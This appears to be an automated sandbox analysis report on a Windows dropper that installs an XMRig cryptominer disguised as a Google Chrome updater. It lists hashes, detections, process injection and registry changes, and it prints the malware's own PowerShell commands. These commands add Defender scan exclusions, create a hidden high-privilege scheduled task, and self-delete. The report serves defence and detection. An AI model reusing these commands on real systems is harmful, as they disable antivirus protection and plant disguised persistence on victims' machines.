Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
-
max time kernel
1775s -
max time network
1804s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
27-01-2024 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 696 created 3356 696 qM5GMXBk6hJE6Y5e (29).exe 42 PID 696 created 3356 696 qM5GMXBk6hJE6Y5e (29).exe 42 PID 696 created 3356 696 qM5GMXBk6hJE6Y5e (29).exe 42 PID 696 created 3356 696 qM5GMXBk6hJE6Y5e (29).exe 42 PID 2156 created 3356 2156 updater.exe 42 PID 2156 created 3356 2156 updater.exe 42 PID 2156 created 3356 2156 updater.exe 42 PID 2156 created 3356 2156 updater.exe 42 PID 2156 created 3356 2156 updater.exe 42 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral30/memory/3996-130-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-134-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-135-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-137-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-139-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-143-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-145-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-147-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-149-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-151-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-153-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-155-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-157-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-159-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-161-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-163-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-165-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-167-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-169-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-171-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-177-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-179-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-181-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-183-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-185-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-187-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-189-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-191-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-193-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig behavioral30/memory/3996-195-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2156 updater.exe -
resource yara_rule behavioral30/memory/3996-127-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-130-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-134-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-135-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-137-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-139-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-143-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-145-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-147-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-149-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-151-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-153-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-155-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-157-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-159-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-161-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-163-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-165-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-167-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-169-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-171-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-177-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-179-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-181-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-183-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-185-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-187-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-189-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-191-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-193-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx behavioral30/memory/3996-195-0x00007FF638F00000-0x00007FF6396F4000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2156 set thread context of 2832 2156 updater.exe 110 PID 2156 set thread context of 3996 2156 updater.exe 116 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (29).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 5036 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 696 qM5GMXBk6hJE6Y5e (29).exe 696 qM5GMXBk6hJE6Y5e (29).exe 4648 powershell.exe 4648 powershell.exe 696 qM5GMXBk6hJE6Y5e (29).exe 696 qM5GMXBk6hJE6Y5e (29).exe 1952 powershell.exe 1952 powershell.exe 696 qM5GMXBk6hJE6Y5e (29).exe 696 qM5GMXBk6hJE6Y5e (29).exe 696 qM5GMXBk6hJE6Y5e (29).exe 696 qM5GMXBk6hJE6Y5e (29).exe 4272 powershell.exe 4272 powershell.exe 2156 updater.exe 2156 updater.exe 4240 powershell.exe 4240 powershell.exe 2156 updater.exe 2156 updater.exe 4680 powershell.exe 4680 powershell.exe 2156 updater.exe 2156 updater.exe 2156 updater.exe 2156 updater.exe 2832 conhost.exe 2832 conhost.exe 2156 updater.exe 2156 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4648 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeIncreaseQuotaPrivilege 1952 powershell.exe Token: SeSecurityPrivilege 1952 powershell.exe Token: SeTakeOwnershipPrivilege 1952 powershell.exe Token: SeLoadDriverPrivilege 1952 powershell.exe Token: SeSystemProfilePrivilege 1952 powershell.exe Token: SeSystemtimePrivilege 1952 powershell.exe Token: SeProfSingleProcessPrivilege 1952 powershell.exe Token: SeIncBasePriorityPrivilege 1952 powershell.exe Token: SeCreatePagefilePrivilege 1952 powershell.exe Token: SeBackupPrivilege 1952 powershell.exe Token: SeRestorePrivilege 1952 powershell.exe Token: SeShutdownPrivilege 1952 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeSystemEnvironmentPrivilege 1952 powershell.exe Token: SeRemoteShutdownPrivilege 1952 powershell.exe Token: SeUndockPrivilege 1952 powershell.exe Token: SeManageVolumePrivilege 1952 powershell.exe Token: 33 1952 powershell.exe Token: 34 1952 powershell.exe Token: 35 1952 powershell.exe Token: 36 1952 powershell.exe Token: SeIncreaseQuotaPrivilege 1952 powershell.exe Token: SeSecurityPrivilege 1952 powershell.exe Token: SeTakeOwnershipPrivilege 1952 powershell.exe Token: SeLoadDriverPrivilege 1952 powershell.exe Token: SeSystemProfilePrivilege 1952 powershell.exe Token: SeSystemtimePrivilege 1952 powershell.exe Token: SeProfSingleProcessPrivilege 1952 powershell.exe Token: SeIncBasePriorityPrivilege 1952 powershell.exe Token: SeCreatePagefilePrivilege 1952 powershell.exe Token: SeBackupPrivilege 1952 powershell.exe Token: SeRestorePrivilege 1952 powershell.exe Token: SeShutdownPrivilege 1952 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeSystemEnvironmentPrivilege 1952 powershell.exe Token: SeRemoteShutdownPrivilege 1952 powershell.exe Token: SeUndockPrivilege 1952 powershell.exe Token: SeManageVolumePrivilege 1952 powershell.exe Token: 33 1952 powershell.exe Token: 34 1952 powershell.exe Token: 35 1952 powershell.exe Token: 36 1952 powershell.exe Token: SeIncreaseQuotaPrivilege 1952 powershell.exe Token: SeSecurityPrivilege 1952 powershell.exe Token: SeTakeOwnershipPrivilege 1952 powershell.exe Token: SeLoadDriverPrivilege 1952 powershell.exe Token: SeSystemProfilePrivilege 1952 powershell.exe Token: SeSystemtimePrivilege 1952 powershell.exe Token: SeProfSingleProcessPrivilege 1952 powershell.exe Token: SeIncBasePriorityPrivilege 1952 powershell.exe Token: SeCreatePagefilePrivilege 1952 powershell.exe Token: SeBackupPrivilege 1952 powershell.exe Token: SeRestorePrivilege 1952 powershell.exe Token: SeShutdownPrivilege 1952 powershell.exe Token: SeDebugPrivilege 1952 powershell.exe Token: SeSystemEnvironmentPrivilege 1952 powershell.exe Token: SeRemoteShutdownPrivilege 1952 powershell.exe Token: SeUndockPrivilege 1952 powershell.exe Token: SeManageVolumePrivilege 1952 powershell.exe Token: 33 1952 powershell.exe Token: 34 1952 powershell.exe Token: 35 1952 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1944 wrote to memory of 856 1944 cmd.exe 102 PID 1944 wrote to memory of 856 1944 cmd.exe 102 PID 4272 wrote to memory of 232 4272 powershell.exe 103 PID 4272 wrote to memory of 232 4272 powershell.exe 103 PID 2156 wrote to memory of 2832 2156 updater.exe 110 PID 100 wrote to memory of 5036 100 cmd.exe 115 PID 100 wrote to memory of 5036 100 cmd.exe 115 PID 2156 wrote to memory of 3996 2156 updater.exe 116 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3356
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4648
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (29).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:856
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:232
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4240
